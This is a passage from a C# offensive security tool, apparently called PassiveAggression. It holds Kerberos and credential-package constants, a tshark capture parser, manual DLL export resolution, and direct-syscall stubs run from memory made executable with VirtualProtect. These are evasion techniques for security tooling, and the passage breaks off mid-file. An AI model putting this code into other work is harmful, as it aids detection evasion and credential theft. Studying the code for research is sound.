61 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
62 | 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
63 |
64 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
65 | 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
66 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
67 | 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
68 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
69 | 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
70 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
71 | 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
72 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
73 | 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
74 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
75 | 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
76 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
77 | 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
78 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
79 | 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D,
80 | };
81 |
82 | public const int AES_256_KEY_LENGTH = 32;
83 | public const int MD5_DIGEST_LENGTH = 16;
84 |
85 | public const int KERB_ETYPE_NULL = 0;
86 | public const int KERB_ETYPE_DES_CBC_CRC = 1;
87 | public const int KERB_ETYPE_DES_CBC_MD4 = 2;
88 | public const int KERB_ETYPE_DES_CBC_MD5 = 3;
89 | public const int KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 = 17;
90 | public const int KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 = 18;
91 |
92 |
93 | public const int KERB_ETYPE_RC4_MD4 = -128; // FFFFFF80
94 | public const int KERB_ETYPE_RC4_PLAIN2 = -129;
95 | public const int KERB_ETYPE_RC4_LM = -130;
96 | public const int KERB_ETYPE_RC4_SHA = -131;
97 | public const int KERB_ETYPE_DES_PLAIN = -132;
98 | public const int KERB_ETYPE_RC4_HMAC_OLD = -133; // FFFFFF7B
99 | public const int KERB_ETYPE_RC4_PLAIN_OLD = -134;
100 | public const int KERB_ETYPE_RC4_HMAC_OLD_EXP = -135;
101 | public const int KERB_ETYPE_RC4_PLAIN_OLD_EXP = -136;
102 | public const int KERB_ETYPE_RC4_PLAIN = -140;
103 | public const int KERB_ETYPE_RC4_PLAIN_EXP = -141;
104 |
105 | public const int KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN = -148;
106 | public const int KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN = -149;
107 |
108 | public const int KERB_ETYPE_DES_CBC_MD5_NT = 20;
109 | public const int KERB_ETYPE_RC4_HMAC_NT = 23;
110 | public const int KERB_ETYPE_RC4_HMAC_NT_EXP = 24;
111 |
112 |
113 | public const string PrimaryCleartext = "Primary:CLEARTEXT";
114 | public const string PrimaryWDigest = "Primary:WDigest";
115 | public const string PrimaryKerberos = "Primary:Kerberos";
116 | public const string PrimaryKerberosNew = "Primary:Kerberos-Newer-Keys";
117 | public const string PrimaryNtlmStrongNTOWF = "Primary:NTLM-Strong-NTOWF";
118 | public const string Packages = "Packages";
119 | }
120 | }
121 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/TShark.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using PassiveAgression.Core.Network;
8 |
9 |
10 | namespace PassiveAgression.Core
11 | {
12 | public class TShark
13 | {
14 |
15 | private readonly string _TSharkLocation;
16 | private readonly string _TSharkParameters;
17 |
18 | ///
19 | /// Contains the source message. Can be turned on for debugging
20 | ///
21 | private string src_message;
22 |
23 | ///
24 | /// Use UTF8 encoding when deserializing tshark messages
25 | ///
26 | private Encoding encoding = Encoding.UTF8;
27 |
28 | ///
29 | /// Function to invoke after deserialization
30 | ///
31 | private Action callbackAction;
32 |
33 | ///
34 | /// Creates a Tshark instance
35 | ///
36 | ///
37 | ///
38 | public TShark(string TSharkLocation, string TSharkParameters)
39 | {
40 | if (string.IsNullOrEmpty(TSharkLocation))
41 | throw new ArgumentNullException("TSharkLocation is empty");
42 |
43 | if (string.IsNullOrEmpty(TSharkParameters))
44 | throw new ArgumentNullException("TSharkParameters is empty");
45 |
46 | if (!File.Exists(TSharkLocation))
47 | throw new ArgumentException($"Location does not exist: {TSharkLocation}");
48 |
49 | // Check if MessageType has baseclass of TSharMessage
50 |
51 | this._TSharkLocation = TSharkLocation;
52 | this._TSharkParameters = TSharkParameters;
53 |
54 | }
55 |
56 |
57 |
58 | ///
59 | /// Runs Tshark from the specified location with given parameters
60 | /// Every message is deserialized into a TSharkMessage object and returned to the specified delegate
61 | ///
62 | internal void Run(Action callbackAction)
63 | {
64 | this.callbackAction = callbackAction;
65 |
66 | ProcessStartInfo startInfo = new ProcessStartInfo(_TSharkLocation, _TSharkParameters)
67 | {
68 | CreateNoWindow = true,
69 | RedirectStandardOutput = true,
70 | UseShellExecute = false
71 | };
72 |
73 | Process? tshark = Process.Start(startInfo);
74 |
75 | int lineCount = 0;
76 | int msgCount = 0;
77 | StreamReader reader = tshark!.StandardOutput;
78 | StringBuilder sb = new StringBuilder();
79 |
80 | while (true)
81 | {
82 | string line = reader.ReadLine();
83 |
84 | if (!string.IsNullOrEmpty(line) && line.Contains("\"_index\""))
85 | {
86 | msgCount++;
87 | if (msgCount >= 1)
88 | {
89 |
90 | //string trimmed = TrimJsonMessage(sb.ToString());
91 | var trimmed = TrimJsonMessage(sb.ToString());
92 | ProcessTsharkMessage(trimmed);
93 | sb.Clear();
94 | msgCount = 0;
95 |
96 | sb.AppendLine("{");
97 | }
98 | }
99 |
100 | if (line == null)
101 | {
102 | //string trimmed = TrimJsonMessage(sb.ToString());
103 | var trimmed = TrimJsonMessage(sb.ToString());
104 |
105 | ProcessTsharkMessage(trimmed);
106 | sb.Clear();
107 | break;
108 | }
109 |
110 | //writer.WriteLine(line);
111 | sb.AppendLine(line);
112 | lineCount++;
113 | }
114 |
115 | while (true)
116 | {
117 | tshark.Refresh();
118 | if (tshark.HasExited || tshark.WaitForExit(500))
119 | {
120 | break;
121 | }
122 | }
123 | }
124 |
125 |
126 | ///
127 | /// Trims specific json line characters from string
128 | ///
129 | ///
130 | ///
131 | private string TrimJsonMessage(string message)
132 | {
133 | var trimmed = message.Trim();
134 | trimmed = trimmed.TrimStart(' ', '[', '\r', '\n');
135 | trimmed = trimmed.TrimEnd(' ', ',', '\r', '\n', '{');
136 | trimmed = trimmed.TrimEnd(']').TrimEnd('\r').TrimEnd('\n');
137 |
138 | return trimmed;
139 | }
140 |
141 |
142 | ///
143 | /// Deserializes the TShark message and invokes callbackfunction
144 | ///
145 | ///
146 | private void ProcessTsharkMessage(string message)
147 | {
148 |
149 | if (string.IsNullOrEmpty(message))
150 | return;
151 |
152 | TSharkMessage tMessage = new TSharkMessage(message);
153 |
154 | callbackAction(tMessage);
155 |
156 | }
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Win32/CustomLoadLibrary.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace PassiveAgression.Core.Win32
10 | {
11 | public class CustomLoadLibrary
12 | {
13 | ///
14 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
15 | ///
16 | /// Ruben Boonen (@FuzzySec)
17 | /// The path to the DLL on disk. Uses the LoadLibrary convention.
18 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.
19 | public static IntPtr LoadModuleFromDisk(string DLLPath)
20 | {
21 | Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING();
22 | Natives.RtlInitUnicodeString(ref uModuleName, DLLPath);
23 |
24 | IntPtr hModule = IntPtr.Zero;
25 | Natives.NTSTATUS CallResult = (Natives.NTSTATUS)Natives.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
26 | if (CallResult != Natives.NTSTATUS.Success || hModule == IntPtr.Zero)
27 | {
28 | return IntPtr.Zero;
29 | }
30 |
31 | return hModule;
32 | }
33 |
34 | public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false)
35 | {
36 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
37 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
38 | {
39 | hModule = LoadModuleFromDisk(DLLName);
40 | if (hModule == IntPtr.Zero)
41 | {
42 | hModule = LoadModuleFromDisk(@"C:\Windows\System32\" + DLLName);
43 | if (hModule == IntPtr.Zero)
44 | {
45 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
46 | }
47 | }
48 | }
49 | else if (hModule == IntPtr.Zero)
50 | {
51 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
52 | }
53 |
54 | return hModule;
55 | }
56 |
57 | ///
58 | /// Helper for getting the pointer to a function from a DLL loaded by the process.
59 | ///
60 | /// Ruben Boonen (@FuzzySec)
61 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
62 | /// Name of the exported procedure.
63 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
64 | /// IntPtr for the desired function.
65 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
66 | {
67 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
68 | if (hModule == IntPtr.Zero && CanLoadFromDisk)
69 | {
70 | hModule = LoadModuleFromDisk(DLLName);
71 | if (hModule == IntPtr.Zero)
72 | {
73 | throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
74 | }
75 | }
76 | else if (hModule == IntPtr.Zero)
77 | {
78 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
79 | }
80 |
81 | return GetExportAddress(hModule, FunctionName);
82 | }
83 |
84 | ///
85 | /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing.
86 | ///
87 | /// Ruben Boonen (@FuzzySec)
88 | /// The name of the DLL (e.g. "ntdll.dll").
89 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
90 | public static IntPtr GetLoadedModuleAddress(string DLLName)
91 | {
92 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
93 | foreach (ProcessModule Mod in ProcModules)
94 | {
95 | if (Mod.FileName.EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
96 | {
97 | return Mod.BaseAddress;
98 | }
99 | }
100 |
101 | return IntPtr.Zero;
102 | }
103 |
104 | ///
105 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
106 | ///
107 | /// Ruben Boonen (@FuzzySec)
108 | /// A pointer to the base address where the module is loaded in the current process.
109 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
110 | /// IntPtr for the desired function.
111 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
112 | {
113 | IntPtr FunctionPtr = IntPtr.Zero;
114 | try
115 | {
116 | // Traverse the PE header in memory
117 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
118 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
119 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
120 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
121 | Int64 pExport = 0;
122 | if (Magic == 0x010b)
123 | {
124 | pExport = OptHeader + 0x60;
125 | }
126 | else
127 | {
128 | pExport = OptHeader + 0x70;
129 | }
130 |
131 | // Read -> IMAGE_EXPORT_DIRECTORY
132 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
133 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
134 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
135 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
136 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
137 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
138 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
139 |
140 | // Loop the array of export name RVA's
141 | for (int i = 0; i < NumberOfNames; i++)
142 | {
143 |
144 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
145 |
146 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
147 | {
148 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
149 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
150 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
151 | break;
152 | }
153 |
154 | }
155 | }
156 | catch
157 | {
158 | // Catch parser failure
159 | throw new InvalidOperationException("Failed to parse module exports.");
160 | }
161 |
162 | if (FunctionPtr == IntPtr.Zero)
163 | {
164 | // Export not found
165 | throw new MissingMethodException(ExportName + ", export not found.");
166 | }
167 | return FunctionPtr;
168 | }
169 | }
170 |
171 | }
172 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Win32/Syscall.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Security;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using PassiveAgression.Core.Crypto;
10 |
11 | namespace PassiveAgression.Core.Win32
12 | {
13 | class SysCall
14 | {
15 | const int memoryPtrotection = 0x40;
16 |
17 | /// 0: 49 89 ca mov r10,rcx
18 | /// 3: b8 0f 00 00 00 mov eax,0x0f
19 | /// 8: 0f 05 syscall
20 | /// a: c3 ret
21 |
22 | static byte[] bZwClose10 = { 0x49, 0x89, 0xCA, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
23 |
24 | /// 0: 49 89 ca mov r10,rcx
25 | /// 3: b8 0f 00 00 00 mov eax,0x3A
26 | /// 8: 0f 05 syscall
27 | /// a: c3 ret
28 |
29 | static byte[] bZwWriteVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3A, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
30 |
31 | /// 0: 49 89 ca mov r10,rcx
32 | /// 3: b8 0f 00 00 00 mov eax,0x50
33 | /// 8: 0f 05 syscall
34 | /// a: c3 ret
35 |
36 | static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
37 |
38 | /// 0: 49 89 ca mov r10,rcx
39 | /// 3: b8 0f 00 00 00 mov eax,0x36
40 | /// 8: 0f 05 syscall
41 | /// a: c3 ret
42 |
43 | static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
44 |
45 | /// 0: 4c 8b d1 mov r10,rcx
46 | /// 3: b8 0f 00 00 00 mov eax,0x18
47 | /// 8: 0f 05 syscall
48 | /// a: c3 ret
49 |
50 | static byte[] bNtReadVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3f, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
51 |
52 | /// 0: 49 89 ca mov r10,rcx
53 | /// 3: b8 0f 00 00 00 mov eax,0x3f
54 | /// 8: 0f 05 syscall
55 | /// a: c3 ret
56 |
57 | static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
58 |
59 | /// 0: 49 89 ca mov r10,rcx
60 | /// 3: b8 0f 00 00 00 mov eax,0x1E
61 | /// 8: 0f 05 syscall
62 | /// a: c3 ret
63 |
64 | static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
65 |
66 | /// 0: 49 89 ca mov r10,rcx
67 | /// 3: b8 0f 00 00 00 mov eax,0x55
68 | /// 8: 0f 05 syscall
69 | /// a: c3 ret
70 |
71 | static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
72 |
73 | ///0: 49 89 ca mov r10,rcx
74 | ///3: b8 26 00 00 00 mov eax,0x26
75 | ///8: 0f 05 syscall
76 | ///a: c3 ret
77 |
78 | static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
79 |
80 | public static Natives.NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, Natives.ProcessAccessFlags processAccess, Natives.OBJECT_ATTRIBUTES objAttribute, ref Natives.CLIENT_ID clientid)
81 | {
82 | byte[] syscall = bZwOpenProcess10;
83 |
84 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
85 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
86 |
87 | if (!Natives.VirtualProtect(memoryAddress,
88 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
89 | {
90 | throw new Win32Exception();
91 | }
92 |
93 | Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));
94 |
95 | return (Natives.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);
96 |
97 | }
98 |
99 | public static Natives.NTSTATUS ZwClose10(IntPtr handle)
100 | {
101 | byte[] syscall = bZwClose10;
102 |
103 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
104 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
105 |
106 | if (!Natives.VirtualProtect(memoryAddress,
107 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
108 | {
109 | throw new Win32Exception();
110 | }
111 |
112 | Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose));
113 |
114 | return (Natives.NTSTATUS)myAssemblyFunction(handle);
115 |
116 | }
117 |
118 | public static Natives.NTSTATUS ZwQuerySystemInformation10(Natives.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength)
119 | {
120 | byte[] syscall = bZwQuerySystemInformation10;
121 |
122 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
123 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
124 |
125 | if (!Natives.VirtualProtect(memoryAddress,
126 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
127 | {
128 | throw new Win32Exception();
129 | }
130 |
131 | Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation));
132 |
133 | return (Natives.NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength);
134 |
135 | }
136 |
137 | public static Natives.NTSTATUS NtReadVirtualMemory10(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, int NumberOfBytesToRead, int NumberOfBytesRead)
138 | {
139 | byte[] syscall = bNtReadVirtualMemory10;
140 |
141 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
142 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
143 |
144 | if (!Natives.VirtualProtect(memoryAddress,
145 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
146 | {
147 | throw new Win32Exception();
148 | }
149 |
150 | Delegates.NtReadVirtualMemory myAssemblyFunction = (Delegates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtReadVirtualMemory));
151 |
152 | return (Natives.NTSTATUS)myAssemblyFunction(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
153 |
154 | }
155 |
156 | public static Natives.NTSTATUS NtWriteVirtualMemory10(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten)
157 | {
158 | byte[] syscall = bZwWriteVirtualMemory10;
159 |
160 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
161 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
162 |
163 | if (!Natives.VirtualProtect(memoryAddress,
164 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
165 | {
166 | throw new Win32Exception();
167 | }
168 |
169 | Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
170 |
171 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
172 |
173 | }
174 |
175 | public static Natives.NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect)
176 | {
177 | byte[] syscall = bNtAllocateVirtualMemory10;
178 |
179 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
180 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
181 |
182 | if (!Natives.VirtualProtect(memoryAddress,
183 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
184 | {
185 | throw new Win32Exception();
186 | }
187 |
188 | Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
189 |
190 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
191 |
192 | }
193 |
194 | public static Natives.NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType)
195 | {
196 | byte[] syscall = bNtFreeVirtualMemory10;
197 |
198 | GCHandle pinnedArray = GCHandle.Alloc(syscall, GCHandleType.Pinned);
199 | IntPtr memoryAddress = pinnedArray.AddrOfPinnedObject();
200 |
201 | if (!Natives.VirtualProtect(memoryAddress,
202 | (UIntPtr)syscall.Length, memoryPtrotection, out uint oldprotect))
203 | {
204 | throw new Win32Exception();
205 | }
206 |
207 |
208 | Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory));
209 |
210 | return (Natives.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType);
211 |
212 | }
213 |
214 | public struct Delegates
215 | {
216 | [SuppressUnmanagedCodeSecurity]
217 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
218 | public delegate int ZwOpenProcess(out IntPtr hProcess, Natives.ProcessAccessFlags processAccess, Natives.OBJECT_ATTRIBUTES objAttribute, ref Natives.CLIENT_ID clientid);
219 |
220 | [SuppressUnmanagedCodeSecurity]
221 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
222 | public delegate int ZwClose(IntPtr handle);
223 |
224 | [SuppressUnmanagedCodeSecurity]
225 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
226 | public delegate int ZwQuerySystemInformation(Natives.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);
227 |
228 | [SuppressUnmanagedCodeSecurity]
229 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
230 | public delegate int NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, int NumberOfBytesToRead, int NumberOfBytesRead);
231 |
232 | [SuppressUnmanagedCodeSecurity]
233 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
234 | public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);
235 |
236 | [SuppressUnmanagedCodeSecurity]
237 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
238 | public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);
239 |
240 | [SuppressUnmanagedCodeSecurity]
241 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
242 | public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType);
243 |
244 | [SuppressUnmanagedCodeSecurity]
245 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
246 | public delegate bool RtlEqualUnicodeString(Natives.UNICODE_STRING String1, Natives.UNICODE_STRING String2, bool CaseInSensitive);
247 |
248 | [SuppressUnmanagedCodeSecurity]
249 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
250 | public delegate bool RtlGetVersion(ref Natives.OSVERSIONINFOEXW lpVersionInformation);
251 |
252 | [SuppressUnmanagedCodeSecurity]
253 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
254 | public delegate void RtlGetNtVersionNumbers(out UInt32 major, out UInt32 minor, out UInt32 build);
255 |
256 | [SuppressUnmanagedCodeSecurity]
257 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
258 | public delegate bool RtlInitUnicodeString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
259 |
260 | [SuppressUnmanagedCodeSecurity]
261 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
262 | public delegate bool RtlInitString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPStr)] string SourceString);
263 |
264 | [SuppressUnmanagedCodeSecurity]
265 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
266 | public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
267 |
268 | [SuppressUnmanagedCodeSecurity]
269 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
270 | public delegate int LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle);
271 |
272 | [SuppressUnmanagedCodeSecurity]
273 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
274 | public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken);
275 |
276 | [SuppressUnmanagedCodeSecurity]
277 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
278 | public delegate IntPtr GetCurrentProcess();
279 |
280 | [SuppressUnmanagedCodeSecurity]
281 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
282 | public delegate bool CloseHandle(IntPtr handle);
283 |
284 | [SuppressUnmanagedCodeSecurity]
285 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
286 | public delegate bool GetTokenInformation(IntPtr TokenHandle, Natives.TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
287 |
288 | [SuppressUnmanagedCodeSecurity]
289 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
290 | public delegate bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
291 |
292 | [SuppressUnmanagedCodeSecurity]
293 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
294 | public delegate bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
295 |
296 | [SuppressUnmanagedCodeSecurity]
297 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
298 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
299 |
300 | [SuppressUnmanagedCodeSecurity]
301 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
